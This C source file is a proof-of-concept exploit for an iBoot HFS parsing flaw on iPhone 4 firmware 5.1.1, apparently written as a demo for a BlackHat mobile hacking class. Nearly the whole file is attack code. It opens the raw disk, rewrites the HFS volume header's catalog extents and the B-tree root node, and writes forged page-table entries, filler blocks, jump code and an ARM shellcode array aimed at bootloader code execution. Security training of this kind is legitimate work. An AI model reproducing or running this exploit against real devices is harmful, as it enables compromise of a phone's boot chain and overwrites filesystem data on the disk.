/* (c) @p0sixninja */

/* iBoot HFS exploit(s?) in header block size / extents block count */

/* Tested on iPhone4 firmware 5.1.1 */

/* PoC Demo for Mobile Hacking BlackHat training class */

static unsigned char code [ ] = {

0x0e , 0x00 , 0x00 , 0xea ,

0x18 , 0xf0 , 0x9f , 0xe5 ,

0x18 , 0xf0 , 0x9f , 0xe5 ,

0x18 , 0xf0 , 0x9f , 0xe5 ,

0x18 , 0xf0 , 0x9f , 0xe5 ,

0x18 , 0xf0 , 0x9f , 0xe5 ,

0x18 , 0xf0 , 0x9f , 0xe5 ,

0x18 , 0xf0 , 0x9f , 0xe5 ,

0x40 , 0x00 , 0xf0 , 0x5f ,

0xd0 , 0xac , 0xf1 , 0x5f ,

0x08 , 0xad , 0xf1 , 0x5f ,

0x04 , 0x02 , 0x00 , 0x42 ,

0xEF , 0xBE , 0xAD , 0xDE , //0x7c, 0xad, 0xf1, 0x5f,

0xb4 , 0xad , 0xf1 , 0x5f ,

0x40 , 0xac , 0xf1 , 0x5f ,

0x88 , 0xac , 0xf1 , 0x5f ,

0x48 , 0x00 , 0x4f , 0xe2 , 0xc4 , 0x12 , 0x9f , 0xe5 , 0x01 , 0x00 , 0x50 , 0xe1 , 0x01 , 0x00 , 0x50 , 0xe1 ,

0x09 , 0x00 , 0x00 , 0x0a , 0xb4 , 0x12 , 0x9f , 0xe5 , 0xb4 , 0x22 , 0x9f , 0xe5 , 0x04 , 0x30 , 0x90 , 0xe4 ,

0x04 , 0x20 , 0x52 , 0xe2 , 0x04 , 0x30 , 0x81 , 0xe4 , 0xfb , 0xff , 0xff , 0x1a , 0x9c , 0x12 , 0x9f , 0xe5 ,

0x4f , 0xf0 , 0x7f , 0xf5 , 0x6f , 0xf0 , 0x7f , 0xf5 , 0x11 , 0xff , 0x2f , 0xe1 , 0x00 , 0x00 , 0x0f , 0xe1 ,

0x1f , 0x00 , 0xc0 , 0xe3 , 0x12 , 0x10 , 0x80 , 0xe3 , 0x01 , 0xf0 , 0x21 , 0xe1 , 0x00 , 0xe0 , 0xa0 , 0xe3 ,

0x8c , 0xd2 , 0x9f , 0xe5 , 0x11 , 0x10 , 0x80 , 0xe3 , 0x01 , 0xf0 , 0x21 , 0xe1 , 0x00 , 0xe0 , 0xa0 , 0xe3 ,

0x78 , 0xd2 , 0x9f , 0xe5 , 0x17 , 0x10 , 0x80 , 0xe3 , 0x01 , 0xf0 , 0x21 , 0xe1 , 0x00 , 0xe0 , 0xa0 , 0xe3 ,

0x6c , 0xd2 , 0x9f , 0xe5 , 0x1b , 0x10 , 0x80 , 0xe3 , 0x01 , 0xf0 , 0x21 , 0xe1 , 0x00 , 0xe0 , 0xa0 , 0xe3 ,

0x5c , 0xd2 , 0x9f , 0xe5 , 0x13 , 0x10 , 0x80 , 0xe3 , 0x01 , 0xf0 , 0x21 , 0xe1 , 0x54 , 0xd2 , 0x9f , 0xe5 ,

0x00 , 0x10 , 0x0f , 0xe1 , 0x01 , 0x1c , 0xc1 , 0xe3 , 0x01 , 0xf0 , 0x22 , 0xe1 , 0x34 , 0x02 , 0x9f , 0xe5 ,

0x34 , 0x12 , 0x9f , 0xe5 , 0x00 , 0x20 , 0xa0 , 0xe3 , 0x01 , 0x00 , 0x50 , 0xe1 , 0x04 , 0x20 , 0x80 , 0xb4 ,

0xfc , 0xff , 0xff , 0xba , 0x10 , 0x02 , 0x9f , 0xe5 , 0x0f , 0xe0 , 0xa0 , 0xe1 , 0x10 , 0xff , 0x2f , 0xe1

} ;

int fs_hack ( ) {

int i = 0 ;

int j = 0 ;

int x = 0 ;

int y = 0 ;

int fd = 0 ;

int rd = 0 ;

int off = 0 ;

int done = 0 ;

int found = 0 ;

unsigned int block = 0 ;

unsigned int word = 0 ;

unsigned int blocksize = 0 ;

unsigned int blockcount = 0 ;

unsigned int totalblocks = 0 ;

unsigned int catalog_start = 0 ;

unsigned int catalog_count = 0 ;

unsigned int payload_start = 0x1000 ;

unsigned int payload_count = 0x100000 ;

unsigned char buffer [ 0x2000 ] ;

unsigned char payload [ 0x2000 ] ;

BTHeaderRec * record = NULL ;

HFSPlusVolumeHeader * header = NULL ;

BTNodeDescriptor * descriptor = NULL ;

memset ( buffer , ' \0 ' , 0x2000 ) ;

memset ( payload , ' \0 ' , 0x2000 ) ;

puts ( "Openning raw block device

" ) ;

fd = open ( "/dev/rdisk0s1s1" , O_RDWR ) ;

if ( fd > 0 ) {

blocksize = 0x2000 ;

//ioctl(fd, DKIOCGETBLOCKSIZE, &blocksize);

//ioctl(fd, DKIOCGETBLOCKCOUNT, &blockcount);

puts ( "Blocksize is " ) ;

puti ( blocksize ) ;

endl ( ) ;

//puts("Blockcount is ");

//puti(blockcount);

//endl();

puts ( "Reading data from block device

" ) ;

//lseek(fd, 0, SEEK_CUR);

x = read ( fd , buffer , blocksize ) ;

sync ( ) ;

if ( x > 0 ) {

//hexdump(buffer, blocksize);

if ( header == NULL && done == 0 ) {

header = ( HFSPlusVolumeHeader * ) patch_find ( buffer , blocksize , "HX" , 2 ) ;

if ( header != NULL ) {

puts ( "Found HFS Volume Header

" ) ;

flipVolumeHeader ( header ) ;

blocksize = header -> blockSize ;

catalog_start = header -> catalogFile. extents [ 0 ] . startBlock ;

catalog_count = header -> catalogFile. extents [ 0 ] . blockCount ;

totalblocks = header -> totalBlocks ;

puts ( "Original volume block size = " ) ;

puti ( header -> blockSize ) ;

endl ( ) ;

puts ( "Original extents block count = " ) ;

puti ( header -> extentsFile. extents [ 0 ] . blockCount ) ;

endl ( ) ;

puts ( "Original extents block start = " ) ;

puti ( header -> extentsFile. extents [ 0 ] . startBlock ) ;

endl ( ) ;

if ( header -> blockSize == 0x2000

&& header -> extentsFile. extents [ 0 ] . blockCount == 0x200

&& header -> extentsFile. extents [ 0 ] . startBlock == 0x405 ) {

puts ( "Modifying HFS volume header block size

" ) ;

//header->blockSize = 0x2000;

puts ( "Modifying HFS extents header block count

" ) ;

//header->extentsFile.extents[0].blockCount = 0x40000;

//header->extentsFile.extents[0].blockCount = 0x200;

header -> catalogFile. extents [ 1 ] . startBlock = payload_start ;

header -> catalogFile. extents [ 1 ] . blockCount = payload_count ;

//header->catalogFile.extents[1].blockCount = 0x200;

//header->extentsFile.extents[0].startBlock = 0x421;

//header->extentsFile.extents[0].startBlock = 0x405;

//header->catalogFile.extents[1].startBlock = 0x1137;

} else {

puts ( "Restoring HFS volume header block size

" ) ;

//header->blockSize = 0x2000;

puts ( "Restoring HFS extents header block count

" ) ;

//header->extentsFile.extents[0].blockCount = 0x40000; //0x200;

//header->extentsFile.extents[0].blockCount = 0x200;

//header->catalogFile.extents[1].blockCount = 0x100000;

//header->catalogFile.extents[1].blockCount = 0x200;

header -> catalogFile. extents [ 1 ] . startBlock = payload_start ;

header -> catalogFile. extents [ 1 ] . blockCount = payload_count ;

puts ( "Restoring HFS extents header start block

" ) ;

//done = 2;

//header->extentsFile.extents[0].startBlock = 0x421; //0x405;

//header->extentsFile.extents[0].startBlock = 0x405;

//header->catalogFile.extents[1].startBlock = 0x1137;

}

puts ( "New volume block size = " ) ;

puti ( header -> blockSize ) ;

endl ( ) ;

puts ( "New extents block count = " ) ;

puti ( header -> extentsFile. extents [ 0 ] . blockCount ) ;

endl ( ) ;

puts ( "New extents block start = " ) ;

puti ( header -> extentsFile. extents [ 0 ] . startBlock ) ;

endl ( ) ;

flipVolumeHeader ( header ) ;

endl ( ) ;

lseek ( fd , 0 , SEEK_SET ) ;

y = write ( fd , buffer , blocksize ) ;

sync ( ) ;

puts ( "Wrote " ) ;

puti ( y ) ;

puts ( " bytes to disk" ) ;

endl ( ) ;

if ( done == 2 ) {

done = 1 ;

return - 1 ;

}

}

}

if ( ! found ) {

//lseek(fd, (0x1055 * 0x2000), SEEK_SET);

// Seek to the first extents BTree header

memset ( buffer , ' \0 ' , 0x2000 ) ;

lseek ( fd , ( catalog_start * blocksize ) , SEEK_SET ) ;

x = read ( fd , buffer , blocksize ) ;

if ( x == blocksize ) {

//hexdump(buffer, 0x2000);

puts ( "Read in BTree header record at " ) ;

puti ( catalog_start * blocksize ) ;

endl ( ) ;

descriptor = ( BTNodeDescriptor * ) buffer ;

flipNodeDescriptor ( descriptor ) ;

if ( descriptor -> kind == kBTHeaderNode ) {

puts ( "Found header node" ) ;

endl ( ) ;

record = ( BTHeaderRec * ) ( buffer + sizeof ( BTNodeDescriptor ) ) ;

flipBTHeaderRec ( record ) ;

puts ( "Old rootNode was " ) ;

puti ( record -> rootNode ) ;

endl ( ) ;

record -> rootNode = catalog_count + 1 ;

puts ( "New rootNode is " ) ;

puti ( record -> rootNode ) ;

endl ( ) ;

flipBTHeaderRec ( record ) ;

}

flipNodeDescriptor ( descriptor ) ;

lseek ( fd , ( catalog_start * blocksize ) , SEEK_SET ) ;

y = write ( fd , buffer , blocksize ) ;

puts ( "Wrote " ) ;

puti ( y ) ;

puts ( " bytes" ) ;

endl ( ) ;

}

puts ( "Our start offset should now be " ) ;

puti ( ( payload_start + 1 ) * blocksize ) ;

endl ( ) ;

lseek ( fd , ( ( payload_start + 1 ) * blocksize ) , SEEK_SET ) ;

/*

unsigned int current = 0;

unsigned int target = 0x5FFF9800;

memset(payload, '\0', 0x2000);

for(i = 0; i < 0x51; i++) {

write(fd, payload, 0x1000);

current += 0x1000;

}

sync();

//0x5ff00c0e

memset(payload, '\0', 0x2000);

for(i = 0; i < 0x1000; i+=4) {

if(i == 0x780) {

memcpy(&payload[i], "\x00\x00\x00\x00", 4);

puts("Heap address should be 0x");puti(target - current);endl();

} else {

memcpy(&payload[i], "\x0e\x0c\xf0\x5f", 4);

}

current+=4;

}

//for(i = 0; i < 0x1; i++) {

write(fd, payload, 0x1000);

//}

sync();

memset(payload, '\0', 0x2000);

for(i = 0; i < 0x80; i++) {

write(fd, payload, 0x1000);

}

sync();

*/

// 0x5ff1ac080

unsigned int ttb = 0x5FFF8000 ;

unsigned int start = 0x5ff1ae80 ; //0x5ffae180;//0x5FFAE300;

unsigned int padding = ttb - start ;

unsigned int filler = padding / 0x2000 ;

unsigned int remainder = padding % 0x2000 ;

puts ( "ttb = " ) ;

puti ( ttb ) ;

endl ( ) ;

puts ( "start = " ) ;

puti ( start ) ;

endl ( ) ;

puts ( "padding = " ) ;

puti ( padding ) ;

endl ( ) ;

puts ( "filler = " ) ;

puti ( filler ) ;

endl ( ) ;

puts ( "remainder = " ) ;

puti ( remainder ) ;

endl ( ) ;

unsigned int current = start ;

memset ( payload , ' \0 ' , 0x2000 ) ;

while ( ( current + 0x2000 ) < ttb ) {

puts ( "Writing padding to " ) ;

puti ( current ) ;

endl ( ) ;

write ( fd , payload , 0x2000 ) ;

current += 0x2000 ;

sync ( ) ;

}

memset ( payload , ' \0 ' , 0x2000 ) ;

for ( i = 0 ; i < 0x2000 ; i ++ ) {

if ( current < ttb ) {

//puts("Filling in remainder at ");

//puti(current);

//endl();

payload [ i ] = 0x1 ;

current ++;

} else if ( current == ttb ) break ;

}

unsigned int j = 0 ;

unsigned int pa = 0 ;

unsigned int index = 0 ;

unsigned int * tlb = ( unsigned int * ) & payload [ i ] ;

while ( i < 0x2000 ) {

pa = index * 0x100000 ;

if ( current == ttb ) {

puts ( "Found start of tlb at " ) ;

puti ( current ) ;

endl ( ) ;

tlb = ( unsigned int * ) & payload [ i ] ;

tlb [ j ] = 0x5ff00c0e ;

} else if ( current > ttb ) {

puts ( "Writing tlb entry for pa " ) ;

puti ( index * 0x100000 ) ;

puts ( " at " ) ;

puti ( current ) ;

endl ( ) ;

if ( pa > 0 && pa < 0x60000000 ) {

tlb [ j ] = pa | 0xc0e ;

}

if ( pa >= 0x60000000 && pa < 0x80000000 ) {

tlb [ j ] = pa | 0xc32 ;

}

if ( pa >= 0x80000000 && pa < 0xF0000000 ) {

tlb [ j ] = pa | 0xc32 ;

}

}

current += 4 ;

i += 4 ;

index ++;

j ++;

}

write ( fd , payload , 0x2000 ) ;

sync ( ) ;

i = 0 ;

j = 0 ;

memset ( payload , ' \0 ' , 0x2000 ) ;

tlb = ( unsigned int * ) & payload [ i ] ;

while ( i < 0x2000 ) {

pa = index * 0x100000 ;

if ( current == ttb ) {

puts ( "Found start of tlb at " ) ;

puti ( current ) ;

endl ( ) ;

tlb = ( unsigned int * ) & payload [ i ] ;

tlb [ j ] = 0x5ff00c0e ;

}

else if ( ( current > ttb ) && ( current < ttb + 0x4000 ) ) {

puts ( "Writing tlb entry for index " ) ;

puti ( index * 0x100000 ) ;

puts ( " at " ) ;

puti ( current ) ;

endl ( ) ;

if ( pa > 0 && pa < 0x60000000 ) {

tlb [ j ] = pa | 0xc0e ;

}

if ( pa >= 0x60000000 && pa < 0x80000000 ) {

tlb [ j ] = pa | 0xc32 ;

}

if ( pa >= 0x80000000 && pa < 0xF0000000 ) {

tlb [ j ] = pa | 0xc32 ;

}

}

current += 4 ;

i += 4 ;

index ++;

j ++;

}

write ( fd , payload , 0x2000 ) ;

sync ( ) ;

i = 0 ;

j = 0 ;

memset ( payload , ' \0 ' , 0x2000 ) ;

tlb = ( unsigned int * ) & payload [ i ] ;

while ( i < 0x2000 ) {

pa = index * 0x100000 ;

if ( ( current > ttb ) && ( current < ttb + 0x4000 ) ) {

puts ( "Writing tlb entry for index " ) ;

puti ( index * 0x100000 ) ;

puts ( " at " ) ;

puti ( current ) ;

endl ( ) ;

if ( pa > 0 && pa < 0x60000000 ) {

tlb [ j ] = pa | 0xc0e ;

}

if ( pa >= 0x60000000 && pa < 0x80000000 ) {

tlb [ j ] = pa | 0xc32 ;

}

if ( pa >= 0x80000000 && pa < 0xF0000000 ) {

tlb [ j ] = pa | 0xc32 ;

}

} else if ( current >= ( ttb + 0x4000 ) ) {

puts ( "Padding rest of block at " ) ;

puti ( current ) ;

endl ( ) ;

tlb [ j ] = 0xDEADBEEF ;

}

current += 4 ;

i += 4 ;

index ++;

j ++;

}

write ( fd , payload , 0x2000 ) ;

sync ( ) ;

// These should be NOPS rather then Invalid instructions

memset ( payload , 0xEE , 0x2000 ) ;

for ( i = 0 ; i < 0x8 ; i ++ ) {

puts ( "Writing NOP/INV block at " ) ;

puti ( current ) ;

endl ( ) ;

write ( fd , payload , 0x2000 ) ;

current += 0x2000 ;

sync ( ) ;

}

puts ( "*** Our payload should go here ***

" ) ;

// Pad to around 0x7FF00000

memset ( payload , ' \0 ' , 0x2000 ) ;

for ( i = 0 ; i < 0x10000 ; i ++ ) {

if ( ( i % 0x1000 ) == 0 ) {

puts ( "Writing NULL Block at " ) ;

puti ( current ) ;

endl ( ) ;

}

if ( current >= 0x7FF00000 ) break ;

write ( fd , payload , 0x2000 ) ;

current += 0x2000 ;

sync ( ) ;

}

// Write our jump back to nop slide

memset ( payload , ' \0 ' , 0x2000 ) ;

for ( i = 0 ; i < 0x2000 ; i += 8 ) {

puts ( "Writing our jump code at " ) ;

puti ( current ) ;

endl ( ) ;

memcpy ( & payload [ i + 0 ] , " \x00 \x4b \x98 \x47 " , 4 ) ;

memcpy ( & payload [ i + 4 ] , " \x00 \x00 \x00 \x40 " , 4 ) ;

current += 8 ;

}

write ( fd , payload , 0x2000 ) ;

sync ( ) ;

/*

// Write the second level TLB at 0x5FFB0000

unsigned int* second = (unsigned int*) &payload[0];

memset(payload, '\0', 0x2000);

for (i = 0; i < 0x100; i++) {

//if (i == 0) {

//second[i] = 0x5FF00002;

//} else {

//second[i] = 0x5FF00002 + (i * 0x1000);

//}

}

write(fd, payload, 0x2000);

sync();

// Write 23 blocks of NULLs to pad

memset(payload, '\0', 0x2000);

for (i = 0; i < 0x23; i++) {

write(fd, payload, 0x2000);

sync();

}

// We should be at 0x5FFF8000 now

// Write the first half of our first level entries

memset(payload, '\0', 0x2000);

unsigned int* first = (unsigned int*) &payload[0];

for (i = 0; i < 0x800; i++) {

unsigned int pa = i * 0x100000;

if (pa >= 0 && pa < 0x60000000) {

first[i] = pa | 0xc0e;

}

if (pa >= 0x60000000 && pa < 0x80000000) {

first[i] = pa | 0xc32;

}

if (pa >= 0x80000000 && pa < 0x90000000) {

first[i] = pa | 0xc32;

}

if (pa >= 0xB0000000 && pa < 0xC0000000) {

first[i] = pa | 0xc32;

}

}

write(fd, payload, 0x2000);

sync();

// We should be at 0x5FFFA000 now

// Write the second half of our first level entry

memset(payload, '\0', 0x2000);

first = (unsigned int*) &payload[0];

for (i = 0; i < 0x800; i++) {

unsigned int pa = (i + 0x800) * 0x100000;

if (pa >= 0 && pa < 0x60000000) {

first[i] = 0x5FF00000 | 0xc0e;

}

if (pa >= 0x60000000 && pa < 0x80000000) {

first[i] = pa | 0xc32;

}

if (pa >= 0x80000000 && pa < 0x90000000) {

first[i] = pa | 0xc32;

}

if (pa >= 0xB0000000 && pa < 0xC0000000) {

first[i] = pa | 0xc32;

}

}

write(fd, payload, 0x2000);

sync();

// We should be at 0x5FFFC000 now

// Pad 0x4000 more bytes

memset(payload, '\0', 0x2000);

for (i = 0; i < 0x2; i++) {

write(fd, payload, 0x2000);

sync();

}

// We should be at 0x60000000 now

// 0x60000000 should be mapped to 0x5FF3A000

// Our payload goes here

//lseek(fd, (0x2000 * 0x2000), SEEK_SET);

memset(payload, 0xEE, 0x2000);

//memcpy(payload, code, sizeof(code));

//memcpy(&payload[0x1000], code, sizeof(code));

//for (i = 0; i < 0xFF80; i++) {

*/

/*

//0xDEADBEEF

memset(payload, '\0', 0x2000);

for (i = 0; i < 0x2000; i += 8) {

//if (i < 0x100) {

// memcpy(&payload[i + 0], "\x0E\x00\x00\xEA", 4);

// memcpy(&payload[i + 4], "\x00\x00\x00\x00", 4);

// continue;

//}

memcpy(&payload[i + 0], "\x00\x4b\x98\x47", 4);

memcpy(&payload[i + 4], "\x00\x00\x00\x40", 4);

}

for (i = 0; i < 0x8; i++) {

puts("Writing payload block ");

puti(i);

endl();

write(fd, payload, 0x2000);

sync();

}

*/

/*

memset(payload, 0xCC, 0x2000);

for(i = 0; i < 0x2; i++) {

write(fd, payload, 0x2000);

sync();

}

*/

//for (i = 0; i < blocksize; i++) {

// if (buffer[i] == 0) continue;

// else break;

//}

//if(i == blocksize) {

// puts("Block ");puti(block);puts(" is empty");endl();

//} else {

// puts("Block ");puti(block);puts(" not empty");endl();

//}

//endl();

/*

for(i = 0; i < 0x3000; i++) {

lseek(fd, (i * 0x2000), SEEK_SET);

x = read(fd, buffer, 0x2000);

//puts("Read ");puti(x);endl();

for(j = 0; j < 0x2000; j++) {

if(buffer[j] == 0x0) continue;

else break;

}

if(j == 0x2000) {

if(i >= 0x420 && i < 0x520) {

lseek(fd, (i * 0x2000), SEEK_SET);

puts("Block empty: ");puti(i);endl();

memset(payload, 'A', 0x2000);

y = write(fd, payload, 0x2000);

//puts("Wrote ");puti(y);endl();

sync();

}

} //else {

//puts("Block not empty!!!!");endl();

//}

memset(buffer, 0x1, 0x2000);

}

*/

/*

block = 0x421;

if (block == 0x421) {

//hexdump(payload, blocksize);

lseek(fd, (block * blocksize), SEEK_SET);

puts("Writing our payload to block ");

puti(block);

endl();

rd = open("/dev/rmd0", O_RDWR);

if (rd > 0) {

for (j = 0; j < 0x80; j++) {

memset(payload, '\0', 0x2000);

puts("Reading ramdisk block ");

puti(j);

endl();

x = pread(rd, payload, blocksize, 0x780000 + (j * blocksize));

puts("Read ");

puti(x);

puts(" bytes");

endl();

if (x == blocksize) {

puts("Writing disk block ");

puti(j);

endl();

y = write(fd, payload, blocksize);

puts("Wrote ");

puti(y);

puts(" bytes");

endl();

sync();

}

//hexdump(payload, blocksize);

}

close(rd);

}

//unsigned char* task = NULL;

//unsigned char* storage = 0x5ff85600;

//unsigned char* destination = 0x5ff3c93c;

//hexdump(payload, blocksize);

//for (j = 0x0; j < blocksize; j += 4) {

// memcpy(&payload[j], "\x00\x00\x00\x00", 4);

//}

// iBoot 0x604-0x608

//for (j = 0x600; j < 0x700; j += 4) {

// memcpy(&payload[j], "\x00\x00\x00\x00", 4);

//}

//hexdump(payload, blocksize);

//unsigned int* reset = ((unsigned int*)&payload[0x824]);

//puts("Reset Vector Original: ");puti(*reset);endl();

//*reset = 0xEA00000E;

//puts("Reset Vector Replaced: ");puti(*reset);endl();

//lseek(fd, (block * blocksize), SEEK_SET);

//for(j = 0; j < 0x24; j++) {

//puts("Writing block ");puti(block);endl();

//y = write(fd, payload, blocksize);

//puts("Wrote ");puti(y);puts(" bytes");endl();

//sync();

//}

//found = 1;

//sync();

}

*/

}

//block++;

//if (block > totalblocks || block > 0x500) break;

//puts("Attempting to read block ");puti(block);puts("

");

//lseek(fd, (block * blocksize), SEEK_SET);

//x = read(fd, buffer, blocksize);

//sync();

}

puts ( "Closing raw block device

" ) ;

close ( fd ) ;

}

return 0 ;